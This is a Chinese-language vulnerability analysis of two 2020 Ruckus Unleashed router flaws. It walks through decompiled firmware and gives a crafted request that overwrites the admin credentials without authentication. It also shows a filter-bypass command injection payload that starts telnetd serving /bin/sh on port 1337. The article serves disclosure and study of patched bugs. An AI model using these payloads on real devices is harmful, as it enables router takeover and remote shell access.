您当前的位置:首页 > 电脑百科 > 安全防护 > 网络安全

Ruckus 路由器多个漏洞分析

时间:2020-09-04 10:32:48  来源:  作者:

Ruckus公司面向全球移动运营商、宽带服务提供商和企业用户,销售、制造各种室内和室外型“智能Wi-Fi”产品。本文是针对于今年Ruckus品牌路由器的两个漏洞进行分析复现。

 

CVE-2020-13915 认证覆盖漏洞

概述

 

ruckus unleased 设备在今年的5月份修复了一个认证覆盖漏洞,利用该漏洞可以通过未授权的方式将设备 Admin 用户的登录凭证进行覆盖,从而达到接管 Admin 用户的效果。漏洞公告见参考链接一。

 

固件下载

https://support.ruckuswireless.com/software/2328-ruckus-unleashed-ap-200-8-10-3-243-ga-software-for-r610

 

漏洞分析

使用 binwalk 将固件进行解压,漏洞发生在 /web/admin/_wla_conf.jsp脚本文件中,查看脚本文件的内容,其中WithoutLoginAccessCheck作为回调函数进行执行,函数的参数为session["cid"]'true'


 
  1. <%

  2. Delegate("WithoutLoginAccessCheck", session["cid"],'true');

  3. Delegate("AjaxConf", session["cid"]);

  4. %>

该函数触发的地方在 /bin/emfd可执行文件中,在 ghidra 中搜索函数,找到WithoutLoginAccessCheck函数,函数部分代码如下:


 
  1. ...

  2. if(!strcasecmp(ajax_action,"setconf"))

  3. {

  4. admin_child = xGetChild(v36,"admin");

  5. if( admin_child !=0)

  6. {

  7. v37 = sub_60890(admin_child);

  8. }

  9. ...

首先判断前端 http 数据包中传入的 post data 中的 action 属性的值是否为 setconf,再使用 xGetChild函数获取 admin 子标签,接着调用sub_60890函数。

因此根据设备的数据包格式,这里需要构造的 post data 为:


 
  1. <ajax-requestaction="setconf">

  2. <admin/>

  3. <ajax-request/>

跟进sub_60890函数,这里主要判断 admin 子标签的属性数量是否为 8,且这 8 个属性名是否为 v41 变量到 v49 的值。


 
  1. ...

  2. v41 = admin_element;

  3. v42 ="username";

  4. v43 ="fallback-local";

  5. v44 ="authsvr-id";

  6. v45 ="auth-by";

  7. v46 ="x-password";

  8. v47 ="IS_PARTIAL";

  9. v48 ="reset";

  10. v49 ="auth-token";

  11. attrnum = xGetAttrNum(a1);

  12. ...

  13. if(attrnum !=8){

  14. return-1;

  15. }

  16. v2 = xAttrExists(v41, v42);

  17. if(!v2){

  18. return-1;

  19. }

  20. ...

  • 此时的 post data:

  1. <ajax-requestaction="setconf">

  2. <adminusername='admin'x-password='xxxxxx'auth-token=''reset=trueIS_PARTIAL=''auth-by='local'authsvr-id='0'fallback-local='true'/>

  3. <ajax-request/>

接着回到/admin/_wla_conf.jsp脚本文件中,第三行中同样以回调的方式执行了AjaxConf函数,该函数位于/usr/lib/libemf.so动态链接库程序中。

同样在 ghidra 中找到函数的位置,部分代码如下:


 
  1. int adapter_setConf(char*attr_comp,undefined4 xmlstr){

  2. ...

  3. iVar3 = adapter_validateConf(xmlstr);

  4. if(iVar3 ==0x0){

  5. iVar4 = strcmp(attr_comp,"system");

  6. if(iVar4 ==0x0){

  7. ...

  8. }

  9. }

  10. uVar6 = repoGetCurrent(attr_comp);

  11. ...

  12. }

这里重新判断了 post data 中 ajax-request标签中 comp 属性的值,如果这里不为 system 的话,不会进入 if 判断,转而去执行repoGetCurrent函数中,参数为 comp 属性的值。跟进函数:


 
  1. undefined4 repoGetCurrent(undefined4 uParm1)


  2. {

  3. undefined4 uVar1;


  4. uVar1 = repoGetCurChild(uParm1,0x0,0x1);

  5. return uVar1;

  6. }

继续跟进 repoGetCurChild函数,第一个参数还是 comp 属性的值,使用psprintf函数格式化到 p_Var1 变量表示的栈上的内存空间之后,继续执行_repoGetCache函数。


 
  1. int repoGetCurChild(char*pcParm1,char*pcParm2,bool bParm3){

  2. ...

  3. pcVar2 =(char*)psprintf(p_Var1,"%s/airespider/%s.xml",PTR_DAT_000a39cc,pcParm1);

  4. local_c = _repoGetCache("Current",p_Var1,pcParm1,pcVar2,pcParm2,bParm3,false);

  5. ...

  6. }

继续跟进函数,函数中又调用了 FUN_00054aec函数,其中调用了_shash_insert函数,将 post data 中整个 admin 标签插入到psprintf函数格式化的字符串表示文件中。

Ruckus 路由器多个漏洞分析

因为在 adapter_setConf 函数的 if 分支中,需要进行登录认证,而在 if 分支之外调用repoGetCurrent函数不需要进行认证,当 comp 属性的值为/system时,就可以绕过 strcmp 函数的判断,不会进入到 if 分支。同时拼接的字符串文件名为:/etc/airespider-default//system.xml。而 system.xml 存放的正是 admin 用户的登录凭证:

Ruckus 路由器多个漏洞分析

此时就可以达到未认证效果对 admin 用户的登录凭证进行覆盖,从而达到未授权访问的效果。

 

漏洞修复

新版本的 ruckus unleased 中,直接将 /admin/_wla_conf.jsp脚本文件进行了删除。

Ruckus 路由器多个漏洞分析

 

CVE-2020-13919 后台命令注入漏洞

概述

 

关于 ruckus unleased 后台命令注入漏洞复现。该漏洞是由一个历史的命令注入漏洞过滤不严格造成的新漏洞。关于该历史漏洞的详情可以查看参考链接一。

 

固件下载


 
  1. https://support.ruckuswireless.com/software/2328-ruckus-unleashed-ap-200-8-10-3-243-ga-software-for-r610

 

漏洞分析

将固件进行解压之后,进入 /web 目录,漏洞发生在 /web/admin/_cmdstat.jsp脚本文件中,因为该漏洞是认证后的漏洞,所以脚本代码中 if 判断的 check 会通过,进而会去执行AjaxCmdStat回调函数。


 
  1. <%

  2. Delegate("SessionCheck", session["cid"],'true');

  3. var httpReq = request["headers"];

  4. Delegate("CsrfTokenCheck", session["cid"], httpReq.HTTP_X_CSRF_TOKEN);

  5. if(session["csrfAccepted"]=='true'){

  6. Delegate("AjaxCmdStat", session["cid"]);

  7. }

  8. %>

同样在 /bin/emfd可执行文件中找到AjaxCmdStat函数的位置,该函数直接调用了AjaxCmdStat_impl函数:


 
  1. voidAjaxCmdStat(undefined4 uParm1,undefined4 uParm2)


  2. {

  3. AjaxCmdStat_impl(uParm1,uParm2,0x0,0x0,0x0);

  4. return;

  5. }

跟进函数,在AjaxCmdStat_impl函数的末尾,会接着调用adapter_doCommand函数,adapter_doCommand函数继续调用doCommand函数,该函数主要用来处理 post data 的 xcmd 子标签,判断 xcmd 子标签中 cmd 属性的值:


 
  1. int __fastcall doCommand(int a1){

  2. ...

  3. v1 = xGetAttrString(a1,"cmd",0);

  4. s1 = v1;

  5. if(!strcmp(s1,"get-features"))

  6. return sub_BC9DC(0);

  7. v17 = strcmp(s1,"get-feature-maxap");

  8. if(!v17 )

  9. return sub_BC904(v17, v18, v19);

  10. v17 = strcmp(s1,"get-feature-value");

  11. if(!v17 )

  12. return sub_BC904(v17, v18, v19);

  13. if(!strcmp(s1,"get-urlfiltering-maxap"))

  14. return sub_BBE94(0, v20, v21);

  15. if(!strcmp(s1,"get-maxclient"))

  16. return sub_BB64C(0, v22, v23);


  17. ...

  18. if(!strcmp(s1,"import-avpport"))

  19. return sub_C1E08(v211);


  20. ...


  21. }

如果这里的 cmd 属性为 import-avpport时会调用sub_C1E08函数,跟进:


 
  1. int __fastcall sub_C1E08(int xcmd){


  2. ...

  3. v1 = xGetAttrString(xcmd,"uploadFile",&unk_23380C);

  4. filename = v1;

  5. v10 = is_validate_input_string(filename);

  6. if(!v10){

  7. return-1;

  8. }

  9. ...

  10. memset(&s,0,0x100u);

  11. snprintf(&s,0x100u,"cp %s /etc/airespider/", filename);

  12. system(&s);

  13. ...


  14. }

此处 xcmd 变量为 xcmd 的标签,从标签中获取到 uploadFile属性的值之后,会经过is_validate_input_string函数对关键字符进行过滤,然后作为参数传入snprintf函数,之后继续执行 system 函数。这里is_validate_input_string函数位于usr/lib/libemf.so动态链接库程序中,其代码如下:


 

  1. undefined4 is_validate_input_string(char*pcParm1)


  2. {

  3. size_tsVar1;

  4. char*pcVar2;

  5. int local_c;


  6. if(pcParm1 != ){

  7. sVar1 = strlen(pcParm1);

  8. local_c =0x0;

  9. while(local_c <(int)sVar1){

  10. pcVar2 = strchr("$;&|<>'"`\ ",(uint)(byte)pcParm1[local_c]);

  11. if(pcVar2 != ){

  12. return0xffffffff;

  13. }

  14. local_c = local_c +0x1;

  15. }

  16. }

  17. return0x0;

  18. }

可以看到这里过滤的字符串为:


 
  1. $;&|<>'"`\

但是这里依然可以进行绕过,绕过的方法为:将分隔符设置成 #!/bin/shn,空格替换成 t 即可,因此 payload 如下:


 
  1. #!/bin/shntelnetdt-l/bin/sht-p1337

绕过之后在 system 函数处即为一个典型的命令注入漏洞。

 

漏洞修复

更新后的固件代码中对关键的字符,如t、n等进行了更严格的过滤。

 

参考链接

  1. https://support.ruckuswireless.com/security_bulletins/304

  2. https://www.youtube.com/watch?v=Yt3mJlnODHU

  3. https://alephsecurity.com/2020/01/14/ruckus-wireless/

  4. https://www.youtube.com/watch?v=Yt3mJlnODHU



Tags:路由器 漏洞   点击:()  评论:()
声明:本站部分内容及图片来自互联网,转载是出于传递更多信息之目的,内容观点仅代表作者本人,如有任何标注错误或版权侵犯请与我们联系(Email:2595517585@qq.com),我们将及时更正、删除,谢谢。
▌相关推荐
Ruckus公司面向全球移动运营商、宽带服务提供商和企业用户,销售、制造各种室内和室外型“智能Wi-Fi”产品。本文是针对于今年Ruckus品牌路由器的两个漏洞进行分析复现。 CVE-...【详细内容】
2020-09-04  Tags: 路由器 漏洞  点击:(267)  评论:(0)  加入收藏
▌简易百科推荐
(报告出品方:德勤)数字化转型网络安全及转型挑战在任何行业,保持竞争力都需要快速开发新产品和 服务并推向市场。创新型业务模式不仅仅是简单地将现有 流程数字化,其正在覆盖供应...【详细内容】
2021-12-22  认是    Tags:网络安全   点击:(19)  评论:(0)  加入收藏
10月18号, W3C中网络平台孵化器小组(Web Platform Incubator Community Group)公布了HTML Sanitizer API的规范草案。这份草案用来解决浏览器如何解决XSS攻击问题。 网络安全中...【详细内容】
2021-12-07  实战Java  博客园  Tags:脚本攻击   点击:(18)  评论:(0)  加入收藏
一、背景介绍大家在Linux的日常使用中都晓得如何通过命令行去配置Linux的端口开放规则,但是大家知道如何配置Windows入站出站规则吗?有哪些常见的危险端口呢?如何解决上述问题...【详细内容】
2021-12-01  Kali与编程    Tags:防火墙   点击:(30)  评论:(0)  加入收藏
网络安全服务商Randori公司日前发布了一份调查报告,列出了网络攻击者最有可能攻击或利用的IT资产。在遭遇Solarwinds黑客攻击一周年之际,以及在网络安全(尤其是勒索软件和供应...【详细内容】
2021-10-28  企业网D1net   企鹅号  Tags:网络攻击   点击:(57)  评论:(0)  加入收藏
0x01.背景实验利用Dns Administrators 组成员,通过远程配置Dns服务,进行Dll inject从而实现特权提升。 在域内,Dns server 通常为Dc Server,Dns服务器管理基于rpc,通过调用c:\wi...【详细内容】
2021-10-22  IT影子    Tags:特权提升   点击:(37)  评论:(0)  加入收藏
本文主要介绍和总结了CSRF跨站请求伪造的基本原理和主要防范措施,工作中有用到的朋友不妨收藏转发一下,以备您参考。什么是CSRF?CSRF跨站点请求伪造(Cross&mdash;Site Request...【详细内容】
2021-10-13  快乐中恒    Tags:CSRF   点击:(49)  评论:(0)  加入收藏
waf拦截在打某市 Hvv 第一天就找到一个文件上传的点,经过测试,可以直接任意文件上传,没有什么道理。 直接尝试上传 Php 文件,被 waf 拦截了 2021最新整理网络安全/渗透测试/安...【详细内容】
2021-10-11  KaliMa    Tags:防火墙   点击:(56)  评论:(0)  加入收藏
应用程序与文件系统的交互始终是高度安全敏感的,因为较小的功能漏洞很容易成为可利用漏洞的来源。这种观察在web文件管理器的情况下尤其正确,其作用是复制完整文件系统的功能...【详细内容】
2021-09-17  IT野涵    Tags:漏洞链   点击:(56)  评论:(0)  加入收藏
您的苹果手机尽管iPhone比Android更安全,但也可以通过各种方式入侵。避免黑客入侵的最佳方法是警惕奇怪的链接或粗略的应用程序,并仅在必要时提供信息。电池寿命差和性能低下...【详细内容】
2021-09-16  Hackers爱好者    Tags:黑客入侵   点击:(631)  评论:(0)  加入收藏
防火墙一般布置在逻辑区域的入口处,位于三层网络架构的核心和汇聚之间,起到隔离逻辑区域,为逻辑区域创建安全策略的作用。 上面就是应用区的防火墙布置方式,他布置在应用区,可以...【详细内容】
2021-09-03  知来知去    Tags:主备模式防火墙   点击:(109)  评论:(0)  加入收藏
最新更新
栏目热门
栏目头条